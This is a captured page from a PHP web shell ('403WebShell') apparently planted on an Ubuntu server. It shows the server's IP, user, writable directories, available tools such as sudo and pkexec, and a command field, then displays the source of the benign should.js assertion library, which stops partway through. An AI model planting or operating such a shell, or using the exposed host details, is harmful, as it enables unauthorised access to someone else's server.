Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gavin/workspace/readjs/node_modules/should/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gavin/workspace/readjs/node_modules/should/should.js
/*!
 * should - test framework agnostic BDD-style assertions
 * @version v11.1.1
 * @author TJ Holowaychuk <tj@vision-media.ca>, Denis Bardadym <bardadymchik@gmail.com> and other contributors
 * @link https://github.com/shouldjs/should.js
 * @license MIT
 */

(function (root) {
  'use strict';

  var types = {
    NUMBER: 'number',
    UNDEFINED: 'undefined',
    STRING: 'string',
    BOOLEAN: 'boolean',
    OBJECT: 'object',
    FUNCTION: 'function',
    NULL: 'null',
    ARRAY: 'array',
    REGEXP: 'regexp',
    DATE: 'date',
    ERROR: 'error',
    ARGUMENTS: 'arguments',
    SYMBOL: 'symbol',
    ARRAY_BUFFER: 'array-buffer',
    TYPED_ARRAY: 'typed-array',
    DATA_VIEW: 'data-view',
    MAP: 'map',
    SET: 'set',
    WEAK_SET: 'weak-set',
    WEAK_MAP: 'weak-map',
    PROMISE: 'promise',

  // node buffer
    BUFFER: 'buffer',

  // dom html element
    HTML_ELEMENT: 'html-element',
    HTML_ELEMENT_TEXT: 'html-element-text',
    DOCUMENT: 'document',
    WINDOW: 'window',
    FILE: 'file',
    FILE_LIST: 'file-list',
    BLOB: 'blob',

    HOST: 'host',

    XHR: 'xhr',

    // simd
    SIMD: 'simd'
  };

  /*
   * Simple data function to store type information
   * @param {string} type Usually what is returned from typeof
   * @param {string} cls  Sanitized @Class via Object.prototype.toString
   * @param {string} sub  If type and cls the same, and need to specify somehow
   * @private
   * @example
   *
   * //for null
   * new Type('null');
   *
   * //for Date
   * new Type('object', 'date');
   *
   * //for Uint8Array
   *
   * new Type('object', 'typed-array', 'uint8');
   */
  function Type(type, cls, sub) {
    if (!type) {
      throw new Error('Type class must be initialized at least with `type` information');
    }
    this.type = type;
    this.cls = cls;
    this.sub = sub;
  }

  Type.prototype = {
    toString: function(sep) {
      sep = sep || ';';
      var str = [this.type];
      if (this.cls) {
        str.push(this.cls);
      }
      if (this.sub) {
        str.push(this.sub);
      }
      return str.join(sep);
    },

    toTryTypes: function() {
      var _types = [];
      if (this.sub) {
        _types.push(new Type(this.type, this.cls, this.sub));
      }
      if (this.cls) {
        _types.push(new Type(this.type, this.cls));
      }
      _types.push(new Type(this.type));

      return _types;
    }
  };

  var toString = Object.prototype.toString;



  /**
   * Function to store type checks
   * @private
   */
  function TypeChecker() {
    this.checks = [];
  }

  TypeChecker.prototype = {
    add: function(func) {
      this.checks.push(func);
      return this;
    },

    addBeforeFirstMatch: function(obj, func) {
      var match = this.getFirstMatch(obj);
      if (match) {
        this.checks.splice(match.index, 0, func);
      } else {
        this.add(func);
      }
    },

    addTypeOf: function(type, res) {
      return this.add(function(obj, tpeOf) {
        if (tpeOf === type) {
          return new Type(res);
        }
      });
    },

    addClass: function(cls, res, sub) {
      return this.add(function(obj, tpeOf, objCls) {
        if (objCls === cls) {
          return new Type(types.OBJECT, res, sub);
        }
      });
    },

    getFirstMatch: function(obj) {
      var typeOf = typeof obj;
      var cls = toString.call(obj);

      for (var i = 0, l = this.checks.length; i < l; i++) {
        var res = this.checks[i].call(this, obj, typeOf, cls);
        if (typeof res !== 'undefined') {
          return { result: res, func: this.checks[i], index: i };
        }
      }
    },

    getType: function(obj) {
      var match = this.getFirstMatch(obj);
      return match && match.result;
    }
  };

  var main = new TypeChecker();

  //TODO add iterators

  main
    .addTypeOf(types.NUMBER, types.NUMBER)
    .addTypeOf(types.UNDEFINED, types.UNDEFINED)
    .addTypeOf(types.STRING, types.STRING)
    .addTypeOf(types.BOOLEAN, types.BOOLEAN)
    .addTypeOf(types.FUNCTION, types.FUNCTION)
    .addTypeOf(types.SYMBOL, types.SYMBOL)
    .add(function(obj) {
      if (obj === null) {
        return new Type(types.NULL);
      }
    })
    .addClass('[object String]', types.STRING)
    .addClass('[object Boolean]', types.BOOLEAN)
    .addClass('[object Number]', types.NUMBER)
    .addClass('[object Array]', types.ARRAY)
    .addClass('[object RegExp]', types.REGEXP)
    .addClass('[object Error]', types.ERROR)
    .addClass('[object Date]', types.DATE)
    .addClass('[object Arguments]', types.ARGUMENTS)

    .addClass('[object ArrayBuffer]', types.ARRAY_BUFFER)
    .addClass('[object Int8Array]', types.TYPED_ARRAY, 'int8')
    .addClass('[object Uint8Array]', types.TYPED_ARRAY, 'uint8')
    .addClass('[object Uint8ClampedArray]', types.TYPED_ARRAY, 'uint8clamped')
    .addClass('[object Int16Array]', types.TYPED_ARRAY, 'int16')
    .addClass('[object Uint16Array]', types.TYPED_ARRAY, 'uint16')
    .addClass('[object Int32Array]', types.TYPED_ARRAY, 'int32')
    .addClass('[object Uint32Array]', types.TYPED_ARRAY, 'uint32')
    .addClass('[object Float32Array]', types.TYPED_ARRAY, 'float32')
    .addClass('[object Float64Array]', types.TYPED_ARRAY, 'float64')

    .addClass('[object Bool16x8]', types.SIMD, 'bool16x8')
    .addClass('[object Bool32x4]', types.SIMD, 'bool32x4')
    .addClass('[object Bool8x16]', types.SIMD, 'bool8x16')
    .addClass('[object Float32x4]', types.SIMD, 'float32x4')
    .addClass('[object Int16x8]', types.SIMD, 'int16x8')
    .addClass('[object Int32x4]', types.SIMD, 'int32x4')
    .addClass('[object Int8x16]', types.SIMD, 'int8x16')
    .addClass('[object Uint16x8]', types.SIMD, 'uint16x8')
    .addClass('[object Uint32x4]', types.SIMD, 'uint32x4')
    .addClass('[object Uint8x16]', types.SIMD, 'uint8x16')

    .addClass('[object DataView]', types.DATA_VIEW)
    .addClass('[object Map]', types.MAP)
    .addClass('[object WeakMap]', types.WEAK_MAP)
    .addClass('[object Set]', types.SET)
    .addClass('[object WeakSet]', types.WEAK_SET)
    .addClass('[object Promise]', types.PROMISE)
    .addClass('[object Blob]', types.BLOB)
    .addClass('[object File]', types.FILE)
    .addClass('[object FileList]', types.FILE_LIST)
    .addClass('[object XMLHttpRequest]', types.XHR)
    .add(function(obj) {
      if ((typeof Promise === types.FUNCTION && obj instanceof Promise) ||
          (typeof obj.then === types.FUNCTION)) {
            return new Type(types.OBJECT, types.PROMISE);
          }
    })
    .add(function(obj) {
      if (typeof Buffer !== 'undefined' && obj instanceof Buffer) {// eslint-disable-line no-undef
        return new Type(types.OBJECT, types.BUFFER);
      }
    })
    .add(function(obj) {
      if (typeof Node !== 'undefined' && obj instanceof Node) {
        return new Type(types.OBJECT, types.HTML_ELEMENT, obj.nodeName);
      }
    })
    .add(function(obj) {
      // probably at the begginging should be enough these checks
      if (obj.Boolean === Boolean && obj.Number === Number && obj.String === String && obj.Date === Date) {
        return new Type(types.OBJECT, types.HOST);
      }
    })
    .add(function() {
      return new Type(types.OBJECT);
    });

  /**
   * Get type information of anything
   *
   * @param  {any} obj Anything that could require type information
   * @return {Type}    type info
   * @private
   */
  function getGlobalType(obj) {
    return main.getType(obj);
  }

  getGlobalType.checker = main;
  getGlobalType.TypeChecker = TypeChecker;
  getGlobalType.Type = Type;

  Object.keys(types).forEach(function(typeName) {
    getGlobalType[typeName] = types[typeName];
  });

  function format$1(msg) {
    var args = arguments;
    for (var i = 1, l = args.length; i < l; i++) {
      msg = msg.replace(/%s/, args[i]);
    }
    return msg;
  }

  var hasOwnProperty = Object.prototype.hasOwnProperty;

  function EqualityFail(a, b, reason, path) {
    this.a = a;
    this.b = b;
    this.reason = reason;
    this.path = path;
  }

  function typeToString(tp) {
    return tp.type + (tp.cls ? '(' + tp.cls + (tp.sub ? ' ' + tp.sub : '') + ')' : '');
  }

  var  PLUS_0_AND_MINUS_0 = '+0 is not equal to -0';
  var  DIFFERENT_TYPES = 'A has type %s and B has type %s';
  var  EQUALITY = 'A is not equal to B';
  var  EQUALITY_PROTOTYPE = 'A and B have different prototypes';
  var  WRAPPED_VALUE = 'A wrapped value is not equal to B wrapped value';
  var  FUNCTION_SOURCES = 'function A is not equal to B by source code value (via .toString call)';
  var  MISSING_KEY = '%s has no key %s';
  var  SET_MAP_MISSING_KEY = 'Set/Map missing key %s';


  var DEFAULT_OPTIONS = {
    checkProtoEql: true,
    checkSubType: true,
    plusZeroAndMinusZeroEqual: true,
    collectAllFails: false
  };

  function setBooleanDefault(property, obj, opts, defaults) {
    obj[property] = typeof opts[property] !== 'boolean' ? defaults[property] : opts[property];
  }

  var METHOD_PREFIX = '_check_';

  function EQ(opts, a, b, path) {
    opts = opts || {};

    setBooleanDefault('checkProtoEql', this, opts, DEFAULT_OPTIONS);
    setBooleanDefault('plusZeroAndMinusZeroEqual', this, opts, DEFAULT_OPTIONS);
    setBooleanDefault('checkSubType', this, opts, DEFAULT_OPTIONS);
    setBooleanDefault('collectAllFails', this, opts, DEFAULT_OPTIONS);

    this.a = a;
    this.b = b;

    this._meet = opts._meet || [];

    this.fails = opts.fails || [];

    this.path = path || [];
  }

  function ShortcutError(fail) {
    this.name = 'ShortcutError';
    this.message = 'fail fast';
    this.fail = fail;
  }

  ShortcutError.prototype = Object.create(Error.prototype);

  EQ.checkStrictEquality = function(a, b) {
    this.collectFail(a !== b, EQUALITY);
  };

  EQ.add = function add(type, cls, sub, f) {
    var args = Array.prototype.slice.call(arguments);
    f = args.pop();
    EQ.prototype[METHOD_PREFIX + args.join('_')] = f;
  };

  EQ.prototype = {
    check: function() {
      try {
        this.check0();
      } catch (e) {
        if (e instanceof ShortcutError) {
          return [e.fail];
        }
        throw e;
      }
      return this.fails;
    },

    check0: function() {
      var a = this.a;
      var b = this.b;

      // equal a and b exit early
      if (a === b) {
        // check for +0 !== -0;
        return this.collectFail(a === 0 && (1 / a !== 1 / b) && !this.plusZeroAndMinusZeroEqual, PLUS_0_AND_MINUS_0);
      }

      var typeA = getGlobalType(a);
      var typeB = getGlobalType(b);

      // if objects has different types they are not equal
      if (typeA.type !== typeB.type || typeA.cls !== typeB.cls || typeA.sub !== typeB.sub) {
        return this.collectFail(true, format$1(DIFFERENT_TYPES, typeToString(typeA), typeToString(typeB)));
      }

      // as types the same checks type specific things
      var name1 = typeA.type, name2 = typeA.type;
      if (typeA.cls) {
        name1 += '_' + typeA.cls;
        name2 += '_' + typeA.cls;
      }
      if (typeA.sub) {
        name2 += '_' + typeA.sub;
      }

      var f = this[METHOD_PREFIX + name2] || this[METHOD_PREFIX + name1] || this[METHOD_PREFIX + typeA.type] || this.defaultCheck;

      f.call(this, this.a, this.b);
    },

    collectFail: function(comparison, reason, showReason) {
      if (comparison) {
        var res = new EqualityFail(this.a, this.b, reason, this.path);
        res.showReason = !!showReason;

        this.fails.push(res);

        if (!this.collectAllFails) {
          throw new ShortcutError(res);
        }
      }
    },

    checkPlainObjectsEquality: function(a, b) {
      // compare deep objects and arrays
      // stacks contain references only
      //
      var meet = this._meet;
      var m = this._meet.length;
      while (m--) {
        var st = meet[m];
        if (st[0] === a && st[1] === b) {
          return;
        }
      }

      // add `a` and `b` to the stack of traversed objects
      meet.push([a, b]);

      // TODO maybe something else like getOwnPropertyNames
      var key;
      for (key in b) {
        if (hasOwnProperty.call(b, key)) {
          if (hasOwnProperty.call(a, key)) {
            this.checkPropertyEquality(key);
          } else {
            this.collectFail(true, format$1(MISSING_KEY, 'A', key));
          }
        }
      }

      // ensure both objects have the same number of properties
      for (key in a) {
        if (hasOwnProperty.call(a, key)) {
          this.collectFail(!hasOwnProperty.call(b, key), format$1(MISSING_KEY, 'B', key));
        }
      }

      meet.pop();

      if (this.checkProtoEql) {
        //TODO should i check prototypes for === or use eq?
        this.collectFail(Object.getPrototypeOf(a) !== Object.getPrototypeOf(b), EQUALITY_PROTOTYPE, true);
      }

    },

    checkPropertyEquality: function(propertyName) {
      var _eq = new EQ(this, this.a[propertyName], this.b[propertyName], this.path.concat([propertyName]));
      _eq.check0();
    },

    defaultCheck: EQ.checkStrictEquality
  };


  EQ.add(getGlobalType.NUMBER, function(a, b) {
    this.collectFail((a !== a && b === b) || (b !== b && a === a) || (a !== b && a === a && b === b), EQUALITY);
  });

  [getGlobalType.SYMBOL, getGlobalType.BOOLEAN, getGlobalType.STRING].forEach(function(tp) {
    EQ.add(tp, EQ.checkStrictEquality);
  });

  EQ.add(getGlobalType.FUNCTION, function(a, b) {
    // functions are compared by their source code
    this.collectFail(a.toString() !== b.toString(), FUNCTION_SOURCES);
    // check user properties
    this.checkPlainObjectsEquality(a, b);
  });

  EQ.add(getGlobalType.OBJECT, getGlobalType.REGEXP, function(a, b) {
    // check regexp flags
    var flags = ['source', 'global', 'multiline', 'lastIndex', 'ignoreCase', 'sticky', 'unicode'];
    while (flags.length) {
      this.checkPropertyEquality(flags.shift());
    }
    // check user properties
    this.checkPlainObjectsEquality(a, b);
  });

  EQ.add(getGlobalType.OBJECT, getGlobalType.DATE, function(a, b) {
    //check by timestamp only (using .valueOf)
    this.collectFail(+a !== +b, EQUALITY);
    // check user properties
    this.checkPlainObjectsEquality(a, b);
  });

  [getGlobalType.NUMBER, getGlobalType.BOOLEAN, getGlobalType.STRING].forEach(function(tp) {
    EQ.add(getGlobalType.OBJECT, tp, function(a, b) {
      //primitive type wrappers
      this.collectFail(a.valueOf() !== b.valueOf(), WRAPPED_VALUE);
      // check user properties
      this.checkPlainObjectsEquality(a, b);
    });
  });

  EQ.add(getGlobalType.OBJECT, function(a, b) {
    this.checkPlainObjectsEquality(a, b);
  });

  [getGlobalType.ARRAY, getGlobalType.ARGUMENTS, getGlobalType.TYPED_ARRAY].forEach(function(tp) {
    EQ.add(getGlobalType.OBJECT, tp, function(a, b) {
      this.checkPropertyEquality('length');

      this.checkPlainObjectsEquality(a, b);
    });
  });

  EQ.add(getGlobalType.OBJECT, getGlobalType.ARRAY_BUFFER, function(a, b) {
    this.checkPropertyEquality('byteLength');

    this.checkPlainObjectsEquality(a, b);
  });

  EQ.add(getGlobalType.OBJECT, getGlobalType.ERROR, function(a, b) {
    this.checkPropertyEquality('name');
    this.checkPropertyEquality('message');

    this.checkPlainObjectsEquality(a, b);
  });

  EQ.add(getGlobalType.OBJECT, getGlobalType.BUFFER, function(a) {
    this.checkPropertyEquality('length');

    var l = a.length;
    while (l--) {
      this.checkPropertyEquality(l);
    }

    //we do not check for user properties because
    //node Buffer have some strange hidden properties
  });

  [getGlobalType.MAP, getGlobalType.SET, getGlobalType.WEAK_MAP, getGlobalType.WEAK_SET].forEach(function(tp) {
    EQ.add(getGlobalType.OBJECT, tp, function(a, b) {
      this._meet.push([a, b]);

      var iteratorA = a.entries();
      for (var nextA = iteratorA.next(); !nextA.done; nextA = iteratorA.next()) {

        var iteratorB = b.entries();
        var keyFound = false;
        for (var nextB = iteratorB.next(); !nextB.done; nextB = iteratorB.next()) {
          // try to check keys first
          var r = eq(nextA.value[0], nextB.value[0], { collectAllFails: false, _meet: this._meet });

          if (r.length === 0) {
            keyFound = true;

            // check values also
            eq(nextA.value[1], nextB.value[1], this);
          }
        }

        if (!keyFound) {
          // no such key at all
          this.collectFail(true, format$1(SET_MAP_MISSING_KEY, nextA.value[0]));
        }
      }

      this._meet.pop();

      this.checkPlainObjectsEquality(a, b);
    });
  });


  function eq(a, b, opts) {
    return new EQ(opts, a, b).check();
  }

  eq.EQ = EQ;

  var _hasOwnProperty = Object.prototype.hasOwnProperty;
  var _propertyIsEnumerable = Object.prototype.propertyIsEnumerable;

  function hasOwnProperty$1(obj, key) {
    return _hasOwnProperty.call(obj, key);
  }

  function propertyIsEnumerable(obj, key) {
    return _propertyIsEnumerable.call(obj, key);
  }

  function merge(a, b) {
    if (a && b) {
      for (var key in b) {
        a[key] = b[key];
      }
    }
    return a;
  }

  function isIterator(obj) {
    if (!obj) {
      return false;
    }

    if (obj.__shouldIterator__) {
      return true;
    }

    return typeof obj.next === 'function' &&
      typeof Symbol === 'function' &&
      typeof Symbol.iterator === 'symbol' &&
      typeof obj[Symbol.iterator] === 'function' &&
      obj[Symbol.iterator]() === obj;
  }

  //TODO find better way
  function isGeneratorFunction(f) {
    return typeof f === 'function' && /^function\s*\*\s*/.test(f.toString());
  }

  // TODO in future add generators instead of forEach and iterator implementation


  function ObjectIterator(obj) {
    this._obj = obj;
  }

  ObjectIterator.prototype = {
    __shouldIterator__: true, // special marker

    next: function() {
      if (this._done) {
        throw new Error('Iterator already reached the end');
      }

      if (!this._keys) {
        this._keys = Object.keys(this._obj);
        this._index = 0;
      }

      var key = this._keys[this._index];
      this._done = this._index === this._keys.length;
      this._index += 1;

      return {
        value: this._done ? void 0: [key, this._obj[key]],
        done: this._done
      };
    }
  };

  if (typeof Symbol === 'function' && typeof Symbol.iterator === 'symbol') {
    ObjectIterator.prototype[Symbol.iterator] = function() {
      return this;
    };
  }


  function TypeAdaptorStorage() {
    this._typeAdaptors = [];
    this._iterableTypes = {};
  }

  TypeAdaptorStorage.prototype = {
    add: function(type, cls, sub, adaptor) {
      return this.addType(new getGlobalType.Type(type, cls, sub), adaptor);
    },

    addType: function(type, adaptor) {
      this._typeAdaptors[type.toString()] = adaptor;
    },

    getAdaptor: function(tp, funcName) {
      var tries = tp.toTryTypes();
      while (tries.length) {
        var toTry = tries.shift();
        var ad = this._typeAdaptors[toTry];
        if (ad && ad[funcName]) {
          return ad[funcName];
        }
      }
    },

    requireAdaptor: function(tp, funcName) {
      var a = this.getAdaptor(tp, funcName);
      if (!a) {
        throw new Error('There is no type adaptor `' + funcName + '` for ' + tp.toString());
      }
      return a;
    },

    addIterableType: function(tp) {
      this._iterableTypes[tp.toString()] = true;
    },

    isIterableType: function(tp) {
      return !!this._iterableTypes[tp.toString()];
    }
  };

  var defaultTypeAdaptorStorage = new TypeAdaptorStorage();

  var objectAdaptor = {
    forEach: function(obj, f, context) {
      for (var prop in obj) {
        if (hasOwnProperty$1(obj, prop) && propertyIsEnumerable(obj, prop)) {
          if (f.call(context, obj[prop], prop, obj) === false) {
            return;
          }
        }
      }
    },

    has: function(obj, prop) {
      return hasOwnProperty$1(obj, prop);
    },

    get: function(obj, prop) {
      return obj[prop];
    },

    iterator: function(obj) {
      return new ObjectIterator(obj);
    }
  };

  // default for objects
  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.OBJECT), objectAdaptor);
  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.FUNCTION), objectAdaptor);

  var mapAdaptor = {
    has: function(obj, key) {
      return obj.has(key);
    },

    get: function(obj, key) {
      return obj.get(key);
    },

    forEach: function(obj, f, context) {
      var iter = obj.entries();
      forEach(iter, function(value) {
        return f.call(context, value[1], value[0], obj);
      });
    },

    size: function(obj) {
      return obj.size;
    },

    isEmpty: function(obj) {
      return obj.size === 0;
    },

    iterator: function(obj) {
      return obj.entries();
    }
  };

  var setAdaptor = merge({}, mapAdaptor);
  setAdaptor.get = function(obj, key) {
    if (obj.has(key)) {
      return key;
    }
  };

  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.MAP), mapAdaptor);
  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SET), setAdaptor);
  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.WEAK_SET), setAdaptor);
  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.WEAK_MAP), mapAdaptor);

  defaultTypeAdaptorStorage.addType(new getGlobalType.Type(getGlobalType.STRING), {
    isEmpty: function(obj) {
      return obj === '';
    },

    size: function(obj) {
      return obj.length;
    }
  });

  defaultTypeAdaptorStorage.addIterableType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.ARRAY));
  defaultTypeAdaptorStorage.addIterableType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.ARGUMENTS));

  function forEach(obj, f, context) {
    if (isGeneratorFunction(obj)) {
      return forEach(obj(), f, context);
    } else if (isIterator(obj)) {
      var value = obj.next();
      while (!value.done) {
        if (f.call(context, value.value, 'value', obj) === false) {
          return;
        }
        value = obj.next();
      }
    } else {
      var type = getGlobalType(obj);
      var func = defaultTypeAdaptorStorage.requireAdaptor(type, 'forEach');
      func(obj, f, context);
    }
  }


  function size(obj) {
    var type = getGlobalType(obj);
    var func = defaultTypeAdaptorStorage.getAdaptor(type, 'size');
    if (func) {
      return func(obj);
    } else {
      var len = 0;
      forEach(obj, function() {
        len += 1;
      });
      return len;
    }
  }

  function isEmpty(obj) {
    var type = getGlobalType(obj);
    var func = defaultTypeAdaptorStorage.getAdaptor(type, 'isEmpty');
    if (func) {
      return func(obj);
    } else {
      var res = true;
      forEach(obj, function() {
        res = false;
        return false;
      });
      return res;
    }
  }

  // return boolean if obj has such 'key'
  function has(obj, key) {
    var type = getGlobalType(obj);
    var func = defaultTypeAdaptorStorage.requireAdaptor(type, 'has');
    return func(obj, key);
  }

  // return value for given key
  function get(obj, key) {
    var type = getGlobalType(obj);
    var func = defaultTypeAdaptorStorage.requireAdaptor(type, 'get');
    return func(obj, key);
  }

  function some(obj, f, context) {
    var res = false;
    forEach(obj, function(value, key) {
      if (f.call(context, value, key, obj)) {
        res = true;
        return false;
      }
    }, context);
    return res;
  }

  function isIterable(obj) {
    return defaultTypeAdaptorStorage.isIterableType(getGlobalType(obj));
  }

  function iterator(obj) {
    return defaultTypeAdaptorStorage.requireAdaptor(getGlobalType(obj), 'iterator')(obj);
  }

  function looksLikeANumber(n) {
    return !!n.match(/\d+/);
  }

  function keyCompare(a, b) {
    var aNum = looksLikeANumber(a);
    var bNum = looksLikeANumber(b);
    if (aNum && bNum) {
      return 1*a - 1*b;
    } else if (aNum && !bNum) {
      return -1;
    } else if (!aNum && bNum) {
      return 1;
    } else {
      return a.localeCompare(b);
    }
  }

  function genKeysFunc(f) {
    return function(value) {
      var k = f(value);
      k.sort(keyCompare);
      return k;
    };
  }

  function Formatter(opts) {
    opts = opts || {};

    this.seen = [];

    var keysFunc;
    if (typeof opts.keysFunc === 'function') {
      keysFunc = opts.keysFunc;
    } else if (opts.keys === false) {
      keysFunc = Object.getOwnPropertyNames;
    } else {
      keysFunc = Object.keys;
    }

    this.getKeys = genKeysFunc(keysFunc);

    this.maxLineLength = typeof opts.maxLineLength === 'number' ? opts.maxLineLength : 60;
    this.propSep = opts.propSep || ',';

    this.isUTCdate = !!opts.isUTCdate;
  }



  Formatter.prototype = {
    constructor: Formatter,

    format: function(value) {
      var tp = getGlobalType(value);

      if (this.alreadySeen(value)) {
        return '[Circular]';
      }

      var tries = tp.toTryTypes();
      var f = this.defaultFormat;
      while (tries.length) {
        var toTry = tries.shift();
        var name = Formatter.formatterFunctionName(toTry);
        if (this[name]) {
          f = this[name];
          break;
        }
      }
      return f.call(this, value).trim();
    },

    defaultFormat: function(obj) {
      return String(obj);
    },

    alreadySeen: function(value) {
      return this.seen.indexOf(value) >= 0;
    }

  };

  Formatter.addType = function addType(tp, f) {
    Formatter.prototype[Formatter.formatterFunctionName(tp)] = f;
  };

  Formatter.formatterFunctionName = function formatterFunctionName(tp) {
    return '_format_' + tp.toString('_');
  };

  var EOL = '\n';

  function indent$1(v, indentation) {
    return v
      .split(EOL)
      .map(function(vv) {
        return indentation + vv;
      })
      .join(EOL);
  }

  function pad(str, value, filler) {
    str = String(str);
    var isRight = false;

    if (value < 0) {
      isRight = true;
      value = -value;
    }

    if (str.length < value) {
      var padding = new Array(value - str.length + 1).join(filler);
      return isRight ? str + padding : padding + str;
    } else {
      return str;
    }
  }

  function pad0(str, value) {
    return pad(str, value, '0');
  }

  var functionNameRE = /^\s*function\s*(\S*)\s*\(/;

  function functionName$1(f) {
    if (f.name) {
      return f.name;
    }
    var matches = f.toString().match(functionNameRE);
    if (matches === null) {
      // `functionNameRE` doesn't match arrow functions.
      return '';
    }
    var name = matches[1];
    return name;
  }

  function constructorName(obj) {
    while (obj) {
      var descriptor = Object.getOwnPropertyDescriptor(obj, 'constructor');
      if (descriptor !== undefined &&  typeof descriptor.value === 'function') {
        var name = functionName$1(descriptor.value);
        if (name !== '') {
          return name;
        }
      }

      obj = Object.getPrototypeOf(obj);
    }
  }

  var INDENT = '  ';

  function addSpaces(str) {
    return indent$1(str, INDENT);
  }

  function typeAdaptorForEachFormat(obj, opts) {
    opts = opts || {};
    var filterKey = opts.filterKey || function() { return true; };

    var formatKey = opts.formatKey || this.format;
    var formatValue = opts.formatValue || this.format;

    var keyValueSep = typeof opts.keyValueSep !== 'undefined' ? opts.keyValueSep : ': ';

    this.seen.push(obj);

    var formatLength = 0;
    var pairs = [];

    forEach(obj, function(value, key) {
      if (!filterKey(key)) {
        return;
      }

      var formattedKey = formatKey.call(this, key);
      var formattedValue = formatValue.call(this, value, key);

      var pair = formattedKey ? (formattedKey + keyValueSep + formattedValue) : formattedValue;

      formatLength += pair.length;
      pairs.push(pair);
    }, this);

    this.seen.pop();

    (opts.additionalKeys || []).forEach(function(keyValue) {
      var pair = keyValue[0] + keyValueSep + this.format(keyValue[1]);
      formatLength += pair.length;
      pairs.push(pair);
    }, this);

    var prefix = opts.prefix || constructorName(obj) || '';
    if (prefix.length > 0) {
      prefix += ' ';
    }

    var lbracket, rbracket;
    if (Array.isArray(opts.brackets)) {
      lbracket = opts.brackets[0];
      rbracket = opts.brackets[1];
    } else {
      lbracket = '{';
      rbracket = '}';
    }

    var rootValue = opts.value || '';

    if (pairs.length === 0) {
      return rootValue || (prefix + lbracket + rbracket);
    }

    if (formatLength <= this.maxLineLength) {
      return prefix + lbracket + ' ' + (rootValue ? rootValue + ' ' : '') + pairs.join(this.propSep + ' ') + ' ' + rbracket;
    } else {
      return prefix + lbracket + '\n' + (rootValue ? '  ' + rootValue + '\n' : '') + pairs.map(addSpaces).join(this.propSep + '\n') + '\n' + rbracket;
    }
  }

  function formatPlainObjectKey(key) {
    return typeof key === 'string' && key.match(/^[a-zA-Z_$][a-zA-Z_$0-9]*$/) ? key : this.format(key);
  }

  function getPropertyDescriptor(obj, key) {
    var desc;
    try {
      desc = Object.getOwnPropertyDescriptor(obj, key) || { value: obj[key] };
    } catch (e) {
      desc = { value: e };
    }
    return desc;
  }

  function formatPlainObjectValue(obj, key) {
    var desc = getPropertyDescriptor(obj, key);
    if (desc.get && desc.set) {
      return '[Getter/Setter]';
    }
    if (desc.get) {
      return '[Getter]';
    }
    if (desc.set) {
      return '[Setter]';
    }

    return this.format(desc.value);
  }

  function formatPlainObject(obj, opts) {
    opts = opts || {};
    opts.keyValueSep = ': ';
    opts.formatKey = opts.formatKey || formatPlainObjectKey;
    opts.formatValue = opts.formatValue || function(value, key) {
      return formatPlainObjectValue.call(this, obj, key);
    };
    return typeAdaptorForEachFormat.call(this, obj, opts);
  }

  function formatWrapper1(value) {
    return formatPlainObject.call(this, value, {
      additionalKeys: [['[[PrimitiveValue]]', value.valueOf()]]
    });
  }


  function formatWrapper2(value) {
    var realValue = value.valueOf();

    return formatPlainObject.call(this, value, {
      filterKey: function(key) {
        //skip useless indexed properties
        return !(key.match(/\d+/) && parseInt(key, 10) < realValue.length);
      },
      additionalKeys: [['[[PrimitiveValue]]', realValue]]
    });
  }

  function formatRegExp(value) {
    return formatPlainObject.call(this, value, {
      value: String(value)
    });
  }

  function formatFunction(value) {
    return formatPlainObject.call(this, value, {
      prefix: 'Function',
      additionalKeys: [['name', functionName$1(value)]]
    });
  }

  function formatArray(value) {
    return formatPlainObject.call(this, value, {
      formatKey: function(key) {
        if (!key.match(/\d+/)) {
          return formatPlainObjectKey.call(this, key);
        }
      },
      brackets: ['[', ']']
    });
  }

  function formatArguments(value) {
    return formatPlainObject.call(this, value, {
      formatKey: function(key) {
        if (!key.match(/\d+/)) {
          return formatPlainObjectKey.call(this, key);
        }
      },
      brackets: ['[', ']'],
      prefix: 'Arguments'
    });
  }

  function _formatDate(value, isUTC) {
    var prefix = isUTC ? 'UTC' : '';

    var date = value['get' + prefix + 'FullYear']() +
      '-' +
      pad0(value['get' + prefix + 'Month']() + 1, 2) +
      '-' +
      pad0(value['get' + prefix + 'Date'](), 2);

    var time = pad0(value['get' + prefix + 'Hours'](), 2) +
      ':' +
      pad0(value['get' + prefix + 'Minutes'](), 2) +
      ':' +
      pad0(value['get' + prefix + 'Seconds'](), 2) +
      '.' +
      pad0(value['get' + prefix + 'Milliseconds'](), 3);

    var to = value.getTimezoneOffset();
    var absTo = Math.abs(to);
    var hours = Math.floor(absTo / 60);
    var minutes = absTo - hours * 60;
    var tzFormat = (to < 0 ? '+' : '-') + pad0(hours, 2) + pad0(minutes, 2);

    return date + ' ' + time + (isUTC ? '' : ' ' + tzFormat);
  }

  function formatDate(value) {
    return formatPlainObject.call(this, value, { value: _formatDate(value, this.isUTCdate) });
  }

  function formatError(value) {
